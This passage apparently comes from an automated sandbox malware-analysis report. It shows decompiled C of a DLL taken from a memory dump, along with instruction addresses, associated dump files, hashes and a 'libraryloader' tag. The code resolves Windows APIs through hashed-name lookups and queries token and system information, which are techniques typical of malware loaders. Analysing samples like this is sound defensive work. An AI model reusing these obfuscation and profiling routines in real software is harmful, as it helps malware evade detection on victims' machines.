													if(_t432 == 0) {
														if(E6EBA6C50(0x3ab94787) != 0) {
															_push(0x3ab94787);
															_t432 = E6EBA7564(0x3ab94787);
														}
													}
													if(_t432 != 0) {
														_t445 = _t445 + 0xfffffff8;
														_t386 = E6EBA67C8(_t432, 0xc17c5a6e);
														goto L103;
													}
												} else {
													do {
														_t364 = _t314;
														_t263 = _t364;
														while( *((intOrPtr*)(_t263 + _t386 + 8)) != 0xc17c5a6e) {
															_t364 = _t364 + 1;
															_t263 = _t263 + 0x18;
															if(_t364 < 0x10) {
																continue;
															} else {
																goto L99;
															}
															goto L105;
														}
														_t386 =  *(_t263 + _t386 + 0x14);
														if(_t386 != 0) {
															L103:
															if(_t386 != 0) {
																 *_t386(0xffffffff, 8,  &_v76);
															}
														} else {
															goto L100;
														}
														goto L105;
														L99:
														asm("o16 nop [eax+eax]");
														_t84 = _t386 + 0x180; // 0x17a8e68
														_t386 =  *_t84;
													} while (_t386 != 0);
													goto L100;
												}
											}
											L105:
											_t346 =  &_v84;
											 *_t346 =  *(_t445 + 0x1a4);
											_t346[1] = 1;
											if(E6EBBBEA0(_t346, _t386, _t432) == 0) {
												_t387 =  *0x6ebcb1f4; // 0x17a1340
												_v88 = 0;
												if(_t387 == 0xc139578) {
													 *0x6ebcb1f4 = 0;
													goto L114;
												} else {
													if(_t387 == 0) {
														L114:
														_push(0x3ab94787);
														_t432 = E6EBA7564(0x3ab94787);
														if(_t432 == 0) {
															if(E6EBA6C50(0x3ab94787) != 0) {
																_push(0x3ab94787);
																_t432 = E6EBA7564(0x3ab94787);
															}
														}
														if(_t432 != 0) {
															_t445 = _t445 + 0xfffffff8;
															_t398 = E6EBA67C8(_t432, 0x2eeff4c6);
															goto L117;
														}
													} else {
														do {
															_t362 = _t314;
															_t255 = _t362;
															while( *((intOrPtr*)(_t255 + _t387 + 8)) != 0x2eeff4c6) {
																_t362 = _t362 + 1;
																_t255 = _t255 + 0x18;
																if(_t362 < 0x10) {
																	continue;
																} else {
																	goto L113;
																}
																goto L119;
															}
															_t398 =  *((intOrPtr*)(_t255 + _t387 + 0x14));
															if(_t398 != 0) {
																L117:
																if(_t398 != 0) {
																	GetTokenInformation(_v96, 0x19, _t314, _t314,  &_v100); // executed
																}
															} else {
																goto L114;
															}
															goto L119;
															L113:
															asm("o16 nop [eax+eax]");
															_t94 = _t387 + 0x180; // 0x17a8e68
															_t387 =  *_t94;
														} while (_t387 != 0);
														goto L114;
													}
												}
												L119:
												_t212 = _v92;
												if(_t212 != 0) {
													_push(_t212);
													E6EBB9350(_t445 + 8);
													_t433 = E6EBB9640(_t445 + 8, 0);
													_t388 =  *0x6ebcb1f4; // 0x17a1340
													if(_t388 == 0xc139578) {
														 *0x6ebcb1f4 = 0;
														goto L160;
													} else {
														if(_t388 == 0) {
															L160:
															_push(0x3ab94787);
															_t420 = E6EBA7564(0x3ab94787);
															if(_t420 == 0) {
																if(E6EBA6C50(0x3ab94787) != 0) {
																	_push(0x3ab94787);
																	_t420 = E6EBA7564(0x3ab94787);
																}
															}
															if(_t420 == 0) {
																goto L178;
															} else {
																_t445 = _t445 + 0xfffffff8;
																_t394 = E6EBA67C8(_t420, 0x2eeff4c6);
																goto L163;
															}
														} else {
															do {
																_t360 = _t314;
																_t247 = _t360;
																while( *((intOrPtr*)(_t247 + _t388 + 8)) != 0x2eeff4c6) {
																	_t360 = _t360 + 1;
																	_t247 = _t247 + 0x18;
																	if(_t360 < 0x10) {
																		continue;
																	} else {
																		goto L159;
																	}
																	goto L236;
																}
																_t394 =  *((intOrPtr*)(_t247 + _t388 + 0x14));
																if(_t394 != 0) {
																	L163:
																	if(_t394 == 0) {
																		L178:
																		E6EBB9510( &_v496);
																		if(_v92 != 0) {
																			E6EBBBE30( &_v96, _t433);
																		}
																		goto L122;
																	} else {
																		_t234 = GetTokenInformation(_v104, 0x19, _t433, _v108,  &_v108); // executed
																		if(_t234 == 0) {
																			goto L178;
																		} else {
																			_t395 =  *0x6ebcb1f4; // 0x17a1340
																			if(_t395 == 0xc139578) {
																				 *0x6ebcb1f4 = 0;
																				goto L171;
																			} else {
																				if(_t395 == 0) {
																					L171:
																					_push(0x3ab94787);
																					 *_t445 = E6EBA7564(0x3ab94787);
																					if( *_t445 == 0) {
																						if(E6EBA6C50(0x3ab94787) != 0) {
																							_push(0x3ab94787);
																							_v520 = E6EBA7564(0x3ab94787);
																						}
																					}
																					if( *_t445 == 0) {
																						goto L176;
																					} else {
																						_t445 = _t445 + 0xfffffff8;
																						_t241 = E6EBA67C8( *((intOrPtr*)(_t445 + 8)), 0x4e2f8db7);
																						goto L174;
																					}
																				} else {
																					do {
																						_t359 = _t314;
																						_t244 = _t359;
																						while( *((intOrPtr*)(_t244 + _t395 + 8)) != 0x4e2f8db7) {
																							_t359 = _t359 + 1;
																							_t244 = _t244 + 0x18;
																							if(_t359 < 0x10) {
																								continue;
																							} else {
																								goto L170;
																							}
																							goto L236;
																						}
																						_t241 =  *((intOrPtr*)(_t244 + _t395 + 0x14));
																						if(_t241 != 0) {
																							L174:
																							if(_t241 == 0) {
																								L176:
																								E6EBB9510(_t445 + 4);
																								if(_v108 != 0) {
																									E6EBBBE30( &_v112, _t433);
																								}
																								goto L122;
																							} else {
																								_push( *_t433);
																								asm("int3");
																								return _t241;
																							}
																						} else {
																							goto L171;
																						}
																						goto L236;
																						L170:
																						asm("o16 nop [eax+eax]");
																						_t133 = _t395 + 0x180; // 0x17a8e68
																						_t395 =  *_t133;
																					} while (_t395 != 0);
																					goto L171;
																				}
																			}
																		}
																	}
																} else {
																	goto L160;
																}
																goto L236;
																L159:
																asm("o16 nop [eax+eax]");
																_t127 = _t388 + 0x180; // 0x17a8e68
																_t388 =  *_t127;
															} while (_t388 != 0);
															goto L160;
														}
													}
												} else {
													if(_v84 != 0) {
														E6EBBBE30( &_v88, _t432);
													}
													goto L122;
												}
											} else {
												if( *((char*)(_t445 + 0x198)) != 0) {
													E6EBBBE30( &_v84, _t432);
												}
												L122:
												_t434 = _t314;
												_t219 =  *0x6ebcb1f0; // 0x17a0528
												 *(_t219 + 0x2c) = _t434;
												goto L124;
											}
										} else {
											_t264 = E6EBA5100(_t419, _t432, _t439);
											_t400 =  *0x6ebcb1f0; // 0x17a0528
											if(_t264 == 0) {
												if( *((char*)(_t400 + 0x28)) == 0) {
													 *(_t400 + 0x2c) = 3;
												} else {
													 *(_t400 + 0x2c) = 5;
												}
											} else {
												 *(_t400 + 0x2c) = 6;
											}
											L124:
											_t389 =  *0x6ebcb1f4; // 0x17a1340
											if(_t389 == 0xc139578) {
												 *0x6ebcb1f4 = 0;
												goto L130;
											} else {
												if(_t389 == 0) {
													L130:
													_push(0xa1310f65);
													_t316 = E6EBA7564(0xa1310f65);
													if(_t316 == 0) {
														if(E6EBA6C50(0xa1310f65) != 0) {
															_push(0xa1310f65);
															_t316 = E6EBA7564(0xa1310f65);
														}
													}
													if(_t316 != 0) {
														_t445 = _t445 + 0xfffffff8;
														_t392 = E6EBA67C8(_t316, 0x4e85f18d);
														goto L133;
													}
												} else {
													do {
														_t354 = _t314;
														_t229 = _t354;
														while( *((intOrPtr*)(_t229 + _t389 + 8)) != 0x4e85f18d) {
															_t354 = _t354 + 1;
															_t229 = _t229 + 0x18;
															if(_t354 < 0x10) {
																continue;
															} else {
																goto L129;
															}
															goto L135;
														}
														_t392 =  *((intOrPtr*)(_t229 + _t389 + 0x14));
														if(_t392 != 0) {
															L133:
															if(_t392 != 0) {
																GetSystemInfo( &_v156);
															}
														} else {
															goto L130;
														}
														goto L135;
														L129:
														asm("o16 nop [eax+eax]");
														_t103 = _t389 + 0x180; // 0x17a8e68
														_t389 =  *_t103;
													} while (_t389 != 0);
													goto L130;
												}
											}
											L135:
											_t223 =  *0x6ebcb1f0; // 0x17a0528
											 *((short*)(_t223 + 0xe)) = _v156.dwAllocationGranularity;
											 *((intOrPtr*)(_t223 + 0x10)) = _v156.lpMaximumApplicationAddress;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t445 + 0x16c));
											 *((intOrPtr*)(_t223 + 0x18)) = _v156.dwNumberOfProcessors;
											 *((intOrPtr*)(_t223 + 0x1c)) = _v120;
											return _t223;
										}
									} else {
										_push(_t416);
										asm("int3");
										return _t308;
									}
								} else {
									break;
								}
								goto L236;
								L10:
								asm("o16 nop [eax+eax]");
								_t6 = _t377 + 0x180; // 0x17a8e68
								_t377 =  *_t6;
							} while (_t377 != 0);
							L11:
							_push(0xa1310f65);
							_t425 = E6EBA7564(0xa1310f65);
							if(_t425 == 0) {
								if(E6EBA6C50(0xa1310f65) != 0) {
									_push(0xa1310f65);
									_t425 = E6EBA7564(0xa1310f65);
								}
							}
							if(_t425 == 0) {
								goto L16;
							} else {
								_t445 = _t445 + 0xfffffff8;
								_t308 = E6EBA67C8(_t425, 0x13e99f60);
								goto L14;
							}
						}
					}
				} else {
					return _t163;
				}
				L236:
			}

0x6eba3931
0x6eba3936
0x6eba3937
0x6eba3938
0x6eba3939
0x6eba393f
0x6eba3941
0x6eba394b
0x6eba478e
0x6eba4790
0x6eba4795
0x6eba4798
0x6eba4798
0x6eba3955
0x6eba396a
0x6eba3976
0x6eba397b
0x6eba397e
0x6eba3984
0x6eba3992
0x6eba477d
0x6eba4787
0x00000000
0x6eba3998
0x6eba399a
0x6eba47a2
0x00000000
0x6eba39a0
0x6eba39a0
0x6eba39a2
0x6eba39a2
0x6eba39a4
0x6eba39a6
0x6eba39b4
0x6eba39b5
0x6eba39bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba39bb
0x6eba476c
0x6eba4772
0x6eba39f5
0x6eba39f7
0x6eba39fc
0x6eba39fc
0x6eba3a06
0x6eba3a0a
0x6eba3a0e
0x6eba3a14
0x6eba3a17
0x6eba3a2d
0x6eba3a32
0x6eba3a3a
0x6eba3a41
0x6eba3a44
0x6eba3a4a
0x6eba3a51
0x6eba3a59
0x6eba4739
0x00000000
0x6eba3a5f
0x6eba3a61
0x6eba3a8e
0x6eba3a93
0x6eba3a99
0x6eba3a9d
0x6eba4710
0x6eba471b
0x6eba4721
0x6eba4721
0x6eba4710
0x6eba3aa5
0x6eba3aae
0x6eba3ab6
0x00000000
0x6eba3ab6
0x6eba3a63
0x6eba3a63
0x6eba3a63
0x6eba3a65
0x6eba3a67
0x6eba3a75
0x6eba3a76
0x6eba3a7c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba3a7c
0x6eba4728
0x6eba472e
0x6eba3ab8
0x6eba3aba
0x6eba3ac6
0x6eba3ac6
0x00000000
0x6eba4734
0x00000000
0x6eba4734
0x00000000
0x6eba3a7e
0x6eba3a7e
0x6eba3a84
0x6eba3a84
0x6eba3a8a
0x00000000
0x6eba3a63
0x6eba3a61
0x6eba3ac8
0x6eba3ac8
0x6eba3ad5
0x6eba3add
0x6eba3ad7
0x6eba3ad7
0x6eba3ad7
0x6eba3ae1
0x6eba3ae6
0x6eba3aee
0x6eba3af9
0x6eba3b05
0x6eba3b0c
0x6eba3b14
0x6eba3b1c
0x6eba3b25
0x6eba3b2e
0x6eba3b30
0x6eba3b35
0x6eba3b37
0x6eba3b44
0x6eba3b4b
0x6eba3b5d
0x6eba3b62
0x6eba3b63
0x6eba3b65
0x6eba3b6a
0x6eba3b72
0x6eba3b7b
0x6eba3b82
0x6eba3b9b
0x6eba3ba0
0x6eba3bae
0x6eba3bb3
0x6eba3bb7
0x6eba3bbe
0x6eba3c22
0x6eba3c27
0x6eba3c3a
0x6eba3c3e
0x6eba3c57
0x6eba3c5c
0x6eba3c6f
0x6eba3c78
0x6eba3c7f
0x6eba3cd3
0x6eba465c
0x6eba466f
0x6eba467c
0x6eba467e
0x6eba4687
0x6eba4692
0x6eba468e
0x6eba468e
0x6eba468e
0x6eba4699
0x6eba469c
0x6eba469c
0x6eba4699
0x6eba46a1
0x6eba46ac
0x00000000
0x6eba465e
0x6eba4661
0x6eba46bd
0x6eba46ca
0x6eba46cc
0x6eba46d5
0x6eba46e0
0x6eba46dc
0x6eba46dc
0x6eba46dc
0x6eba46e7
0x6eba46ea
0x6eba46ea
0x6eba46e7
0x6eba46ef
0x6eba46fa
0x00000000
0x6eba4663
0x00000000
0x6eba4663
0x6eba4661
0x00000000
0x6eba3cd9
0x6eba3cdc
0x00000000
0x6eba4108
0x6eba410f
0x6eba411c
0x6eba411e
0x6eba4127
0x6eba4132
0x6eba412e
0x6eba412e
0x6eba412e
0x6eba4139
0x6eba413c
0x6eba413c
0x6eba4139
0x6eba4141
0x6eba414c
0x6eba414c
0x6eba3cdc
0x6eba3c81
0x6eba3c83
0x6eba3ce7
0x6eba3cee
0x6eba3cfb
0x6eba3cfd
0x6eba3d06
0x6eba3d11
0x6eba3d0d
0x6eba3d0d
0x6eba3d0d
0x6eba3d18
0x6eba3d1b
0x6eba3d1b
0x6eba3d18
0x6eba3d20
0x6eba3d2b
0x6eba3c85
0x6eba3c8c
0x6eba3c99
0x6eba3c9b
0x6eba3ca4
0x6eba3caf
0x6eba3cab
0x6eba3cab
0x6eba3cab
0x6eba3cb6
0x6eba3cb9
0x6eba3cb9
0x6eba3cb6
0x6eba3cbe
0x6eba3cc9
0x6eba3cc9
0x6eba3c83
0x6eba3bc0
0x6eba3bc7
0x6eba3bd4
0x6eba3bd6
0x6eba3bdf
0x6eba3bea
0x6eba3be6
0x6eba3be6
0x6eba3be6
0x6eba3bf1
0x6eba3bf4
0x6eba3bf4
0x6eba3bf1
0x6eba3bf9
0x6eba3c04
0x6eba3c04
0x6eba3afb
0x6eba3afb
0x6eba3afb
0x6eba3d2d
0x6eba3d2d
0x6eba3d33
0x6eba3d3e
0x6eba3d41
0x6eba3d4d
0x6eba464b
0x00000000
0x6eba3d53
0x6eba3d55
0x6eba3d82
0x6eba3d87
0x6eba3d8d
0x6eba3d91
0x6eba4622
0x6eba462d
0x6eba4633
0x6eba4633
0x6eba4622
0x6eba3d99
0x00000000
0x6eba3d9f
0x6eba3da6
0x6eba3dae
0x00000000
0x6eba3dae
0x6eba3d57
0x6eba3d57
0x6eba3d57
0x6eba3d59
0x6eba3d5b
0x6eba3d69
0x6eba3d6a
0x6eba3d70
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba3d70
0x6eba463a
0x6eba4640
0x6eba3db0
0x6eba3db2
0x6eba3e6d
0x6eba3e6d
0x6eba3db8
0x6eba3dbf
0x6eba3dc0
0x6eba3dc2
0x6eba3dc8
0x00000000
0x6eba3dce
0x6eba3dce
0x6eba3dda
0x6eba418b
0x00000000
0x6eba3de0
0x6eba3de2
0x6eba3e0f
0x6eba3e14
0x6eba3e1a
0x6eba3e1e
0x6eba4162
0x6eba416d
0x6eba4173
0x6eba4173
0x6eba4162
0x6eba3e26
0x00000000
0x6eba3e28
0x6eba3e2f
0x6eba3e37
0x00000000
0x6eba3e37
0x6eba3de4
0x6eba3de4
0x6eba3de4
0x6eba3de6
0x6eba3de8
0x6eba3df6
0x6eba3df7
0x6eba3dfd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba3dfd
0x6eba417a
0x6eba4180
0x6eba3e39
0x6eba3e3b
0x00000000
0x6eba3e3d
0x6eba3e58
0x6eba3e5c
0x00000000
0x6eba3e5e
0x6eba3e68
0x6eba3e68
0x6eba3e5c
0x6eba4186
0x00000000
0x6eba4186
0x00000000
0x6eba3dff
0x6eba3dff
0x6eba3e05
0x6eba3e05
0x6eba3e0b
0x00000000
0x6eba3de4
0x6eba3de2
0x6eba3dda
0x6eba3dc8
0x6eba4646
0x00000000
0x6eba4646
0x00000000
0x6eba3d72
0x6eba3d72
0x6eba3d78
0x6eba3d78
0x6eba3d7e
0x00000000
0x6eba3d57
0x6eba3d55
0x6eba3e6f
0x6eba3e6f
0x6eba3e75
0x6eba3e8a
0x6eba3e8d
0x6eba3ec8
0x6eba3ece
0x6eba3edf
0x6eba4607
0x00000000
0x6eba3ee5
0x6eba3ee7
0x6eba3f14
0x6eba3f19
0x6eba3f1f
0x6eba3f23
0x6eba45de
0x6eba45e9
0x6eba45ef
0x6eba45ef
0x6eba45de
0x6eba3f2b
0x6eba3f34
0x6eba3f3c
0x00000000
0x6eba3f3c
0x6eba3ee9
0x6eba3ee9
0x6eba3ee9
0x6eba3eeb
0x6eba3eed
0x6eba3efb
0x6eba3efc
0x6eba3f02
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba3f02
0x6eba45f6
0x6eba45fc
0x6eba3f3e
0x6eba3f40
0x6eba3f4e
0x6eba3f4e
0x6eba4602
0x00000000
0x6eba4602
0x00000000
0x6eba3f04
0x6eba3f04
0x6eba3f0a
0x6eba3f0a
0x6eba3f10
0x00000000
0x6eba3ee9
0x6eba3ee7
0x6eba3f50
0x6eba3f57
0x6eba3f5e
0x6eba3f60
0x6eba3f6b
0x6eba3f8c
0x6eba3f92
0x6eba3fa3
0x6eba45c3
0x00000000
0x6eba3fa9
0x6eba3fab
0x6eba3fd8
0x6eba3fdd
0x6eba3fe3
0x6eba3fe7
0x6eba459a
0x6eba45a5
0x6eba45ab
0x6eba45ab
0x6eba459a
0x6eba3fef
0x6eba3ff8
0x6eba4000
0x00000000
0x6eba4000
0x6eba3fad
0x6eba3fad
0x6eba3fad
0x6eba3faf
0x6eba3fb1
0x6eba3fbf
0x6eba3fc0
0x6eba3fc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba3fc6
0x6eba45b2
0x6eba45b8
0x6eba4002
0x6eba4004
0x6eba4019
0x6eba4019
0x6eba45be
0x00000000
0x6eba45be
0x00000000
0x6eba3fc8
0x6eba3fc8
0x6eba3fce
0x6eba3fce
0x6eba3fd4
0x00000000
0x6eba3fad
0x6eba3fab
0x6eba401b
0x6eba401b
0x6eba4024
0x6eba41de
0x6eba41e3
0x6eba41f3
0x6eba41f5
0x6eba4201
0x6eba457f
0x00000000
0x6eba4207
0x6eba4209
0x6eba4236
0x6eba423b
0x6eba4241
0x6eba4245
0x6eba4556
0x6eba4561
0x6eba4567
0x6eba4567
0x6eba4556
0x6eba424d
0x00000000
0x6eba4253
0x6eba425a
0x6eba4262
0x00000000
0x6eba4262
0x6eba420b
0x6eba420b
0x6eba420b
0x6eba420d
0x6eba420f
0x6eba421d
0x6eba421e
0x6eba4224
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4224
0x6eba456e
0x6eba4574
0x6eba4264
0x6eba4266
0x6eba4470
0x6eba4474
0x6eba4481
0x6eba448e
0x6eba448e
0x00000000
0x6eba426c
0x6eba4285
0x6eba4289
0x00000000
0x6eba428f
0x6eba428f
0x6eba429b
0x6eba453b
0x00000000
0x6eba42a1
0x6eba42a3
0x6eba42d0
0x6eba42d5
0x6eba42db
0x6eba42e2
0x6eba4511
0x6eba451c
0x6eba4522
0x6eba4522
0x6eba4511
0x6eba42ec
0x00000000
0x6eba42f2
0x6eba42f2
0x6eba42fe
0x00000000
0x6eba42fe
0x6eba42a5
0x6eba42a5
0x6eba42a5
0x6eba42a7
0x6eba42a9
0x6eba42b7
0x6eba42b8
0x6eba42be
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba42be
0x6eba452a
0x6eba4530
0x6eba4303
0x6eba4305
0x6eba4448
0x6eba444c
0x6eba4459
0x6eba4466
0x6eba4466
0x00000000
0x6eba430b
0x6eba430b
0x6eba430d
0x6eba430e
0x6eba430e
0x6eba4536
0x00000000
0x6eba4536
0x00000000
0x6eba42c0
0x6eba42c0
0x6eba42c6
0x6eba42c6
0x6eba42cc
0x00000000
0x6eba42a5
0x6eba42a3
0x6eba429b
0x6eba4289
0x6eba457a
0x00000000
0x6eba457a
0x00000000
0x6eba4226
0x6eba4226
0x6eba422c
0x6eba422c
0x6eba4232
0x00000000
0x6eba420b
0x6eba4209
0x6eba402a
0x6eba4032
0x6eba403b
0x6eba403b
0x00000000
0x6eba4032
0x6eba3f6d
0x6eba3f75
0x6eba3f82
0x6eba3f82
0x6eba4040
0x6eba4040
0x6eba4042
0x6eba4047
0x00000000
0x6eba4047
0x6eba3e8f
0x6eba3e8f
0x6eba3e94
0x6eba3e9c
0x6eba3eae
0x6eba3ebc
0x6eba3eb0
0x6eba3eb0
0x6eba3eb0
0x6eba3e9e
0x6eba3e9e
0x6eba3e9e
0x6eba404a
0x6eba404a
0x6eba4056
0x6eba41cf
0x00000000
0x6eba405c
0x6eba405e
0x6eba408b
0x6eba4090
0x6eba4096
0x6eba409a
0x6eba41a6
0x6eba41b1
0x6eba41b7
0x6eba41b7
0x6eba41a6
0x6eba40a2
0x6eba40ab
0x6eba40b3
0x00000000
0x6eba40b3
0x6eba4060
0x6eba4060
0x6eba4060
0x6eba4062
0x6eba4064
0x6eba4072
0x6eba4073
0x6eba4079
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4079
0x6eba41be
0x6eba41c4
0x6eba40b5
0x6eba40b7
0x6eba40c1
0x6eba40c1
0x6eba41ca
0x00000000
0x6eba41ca
0x00000000
0x6eba407b
0x6eba407b
0x6eba4081
0x6eba4081
0x6eba4087
0x00000000
0x6eba4060
0x6eba405e
0x6eba40c3
0x6eba40c3
0x6eba40eb
0x6eba40ef
0x6eba40f2
0x6eba40f5
0x6eba40f8
0x6eba4107
0x6eba4107
0x6eba39f9
0x6eba39f9
0x6eba39fa
0x6eba39fb
0x6eba39fb
0x6eba4778
0x00000000
0x6eba4778
0x00000000
0x6eba39bd
0x6eba39bd
0x6eba39c3
0x6eba39c3
0x6eba39c9
0x6eba39cd
0x6eba39d2
0x6eba39d8
0x6eba39dc
0x6eba4754
0x6eba475f
0x6eba4765
0x6eba4765
0x6eba4754
0x6eba39e4
0x00000000
0x6eba39e6
0x6eba39ed
0x6eba39f0
0x00000000
0x6eba39f0
0x6eba39e4
0x6eba399a
0x6eba395d
0x6eba3969
0x6eba3969
0x00000000

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09a07bbfbd04d0cf4593e629392a9a05301e2e11a7cd0298f2d2d514df6d132b
Instruction ID: d22cd8e5743449d1cbef0d82714c2c2ba686881fe5fa0a28af432646e9e6b435
Opcode Fuzzy Hash: 09a07bbfbd04d0cf4593e629392a9a05301e2e11a7cd0298f2d2d514df6d132b
Instruction Fuzzy Hash: 3A52F83062C3C29BDF60CADDC8947EE7EA9EB91708F14892DD6599B295EF30C845C781

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA6C50, Relevance: 2.1, APIs: 1, Instructions: 584
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EBA6C50(signed int __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t135;
				intOrPtr _t138;
				void* _t143;
				void* _t147;
				void* _t151;
				struct _OBJDIR_INFORMATION _t164;
				void* _t170;
				intOrPtr _t183;
				struct _OBJDIR_INFORMATION _t197;
				struct _OBJDIR_INFORMATION _t206;
				long _t212;
				void* _t215;
				intOrPtr _t246;
				signed int _t278;
				signed int _t279;
				void* _t281;
				intOrPtr _t282;
				void* _t291;
				void* _t340;
				struct _OBJDIR_INFORMATION _t342;
				intOrPtr _t345;
				struct _OBJDIR_INFORMATION _t363;
				intOrPtr _t366;
				struct _OBJDIR_INFORMATION _t382;
				struct _OBJDIR_INFORMATION _t389;
				struct _OBJDIR_INFORMATION _t390;
				struct _OBJDIR_INFORMATION _t391;
				intOrPtr* _t394;
				void* _t395;
				intOrPtr* _t397;
				void* _t398;
				void* _t399;
				void* _t401;
				void* _t402;
				void* _t404;
				void* _t405;
				void* _t406;
				short* _t407;
				void* _t408;
				void* _t410;
				void* _t411;
				intOrPtr _t412;
				intOrPtr* _t413;
				short* _t418;
				void* _t420;
				void* _t421;
				intOrPtr* _t422;
				void* _t424;
				void* _t425;
				struct _OBJDIR_INFORMATION* _t426;

				_t278 = __ecx;
				E6EBA8810(_t426 + 0x2c8, 0);
				E6EBA8810(_t426 + 0x2d0, 0);
				_t135 = E6EBA3930(__ecx, 0, _t399, _t406); // executed
				_t412 =  *0x6ebcb208;
				if( *((char*)(_t135 + 0xb)) == 0x40) {
					if(_t412 == 0x228324a5) {
						_push(0x80);
						_t413 = E6EBA1030();
						_t426 = _t426 + 4;
						if(_t413 == 0) {
							_t413 = 0;
						} else {
							_t122 = _t413 + 8; // 0x8
							 *_t413 = 0;
							 *((intOrPtr*)(_t413 + 4)) = 0;
							E6EBA8810(_t122, 0);
							_t124 = _t413 + 0x10; // 0x10
							E6EBA8810(_t124, 0);
							_t125 = _t413 + 0x18; // 0x18
							E6EBA8810(_t125, 0);
							_t126 = _t413 + 0x20; // 0x20
							E6EBA8810(_t126, 0);
							_t127 = _t413 + 0x28; // 0x28
							E6EBA8810(_t127, 0);
							_t128 = _t413 + 0x30; // 0x30
							E6EBA8810(_t128, 0);
							_t129 = _t413 + 0x38; // 0x38
							E6EBA8810(_t129, 0);
							_t130 = _t413 + 0x40; // 0x40
							E6EBA8810(_t130, 0);
							_t131 = _t413 + 0x48; // 0x48
							E6EBA8810(_t131, 0);
							_t410 = 6;
							_t132 = _t413 + 0x50; // 0x50
							_t404 = _t132;
							do {
								E6EBA8810(_t404, 0);
								_t404 = _t404 + 8;
								_t410 = _t410 - 1;
							} while (_t410 != 0);
						}
						 *0x6ebcb208 = _t413;
					}
					if(E6EBA9DC0(_t413 + 0x38) != 0) {
						E6EBA8810(_t426 + 0x26c, 0x80);
						_t342 =  *0x6ebcb1f4; // 0x17a1340
						if(_t342 == 0xc139578) {
							 *0x6ebcb1f4 = 0;
							goto L86;
						} else {
							if(_t342 == 0) {
								L86:
								_push(0xa1310f65);
								_t420 = E6EBA7564(0xa1310f65);
								if(_t420 == 0) {
									if(E6EBA6C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t420 = E6EBA7564(0xa1310f65);
									}
								}
								if(_t420 != 0) {
									_t426 = _t426 + 0xfffffff8;
									_t394 = E6EBA67C8(_t420, 0x7c2e142f);
									goto L89;
								}
							} else {
								do {
									_t421 = 0;
									_t395 = 0;
									while( *((intOrPtr*)(_t395 + _t342 + 8)) != 0x7c2e142f) {
										_t421 = _t421 + 1;
										_t395 = _t395 + 0x18;
										if(_t421 < 0x10) {
											continue;
										} else {
											goto L85;
										}
										goto L91;
									}
									_t394 =  *((intOrPtr*)(_t395 + _t342 + 0x14));
									if(_t394 != 0) {
										L89:
										if(_t394 != 0) {
											 *_t394( *(_t426 + 0x26c),  *(_t426 + 0x26c) >> 1);
										}
									} else {
										goto L86;
									}
									goto L91;
									L85:
									asm("o16 nop [eax+eax]");
									_t109 = _t342 + 0x180; // 0x17a8e68
									_t342 =  *_t109;
								} while (_t342 != 0);
								goto L86;
							}
						}
						L91:
						if(( *(E6EBA9DE0(_t426 + 0x268)) & 0x0000ffff) != 0x5c) {
							E6EBA96D0(_t426 + 0x26c, 0x5c);
						}
						_t345 =  *0x6ebcb208; // 0x17a7468
						E6EBA8CC0(_t345 + 0x38,  *((intOrPtr*)(_t426 + 0x268)));
						E6EBA8CA0(_t426 + 0x268);
					}
					_t138 =  *0x6ebcb208; // 0x17a7468
					E6EBA88C0(_t426 + 0x274, _t138 + 0x38);
					E6EBA8CC0(_t426 + 0x2c8,  *((intOrPtr*)(_t426 + 0x270)));
					_t291 = _t426 + 0x270;
				} else {
					if(_t412 == 0x228324a5) {
						_push(0x80);
						_t422 = E6EBA1030();
						_t426 = _t426 + 4;
						if(_t422 == 0) {
							_t422 = 0;
						} else {
							_t95 = _t422 + 8; // 0x8
							 *_t422 = 0;
							 *((intOrPtr*)(_t422 + 4)) = 0;
							E6EBA8810(_t95, 0);
							_t97 = _t422 + 0x10; // 0x10
							E6EBA8810(_t97, 0);
							_t98 = _t422 + 0x18; // 0x18
							E6EBA8810(_t98, 0);
							_t99 = _t422 + 0x20; // 0x20
							E6EBA8810(_t99, 0);
							_t100 = _t422 + 0x28; // 0x28
							E6EBA8810(_t100, 0);
							_t101 = _t422 + 0x30; // 0x30
							E6EBA8810(_t101, 0);
							_t102 = _t422 + 0x38; // 0x38
							E6EBA8810(_t102, 0);
							_t103 = _t422 + 0x40; // 0x40
							E6EBA8810(_t103, 0);
							_t104 = _t422 + 0x48; // 0x48
							E6EBA8810(_t104, 0);
							_t411 = 6;
							_t105 = _t422 + 0x50; // 0x50
							_t405 = _t105;
							do {
								E6EBA8810(_t405, 0);
								_t405 = _t405 + 8;
								_t411 = _t411 - 1;
							} while (_t411 != 0);
						}
						 *0x6ebcb208 = _t422;
					}
					if(E6EBA9DC0(_t422 + 0x30) != 0) {
						E6EBA8810(_t426 + 0x27c, 0x80);
						_t363 =  *0x6ebcb1f4; // 0x17a1340
						if(_t363 == 0xc139578) {
							 *0x6ebcb1f4 = 0;
							goto L10;
						} else {
							if(_t363 == 0) {
								L10:
								_push(0xa1310f65);
								_t424 = E6EBA7564(0xa1310f65);
								if(_t424 == 0) {
									if(E6EBA6C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t424 = E6EBA7564(0xa1310f65);
									}
								}
								if(_t424 != 0) {
									_t426 = _t426 + 0xfffffff8;
									_t397 = E6EBA67C8(_t424, 0x4ade4070);
									goto L13;
								}
							} else {
								do {
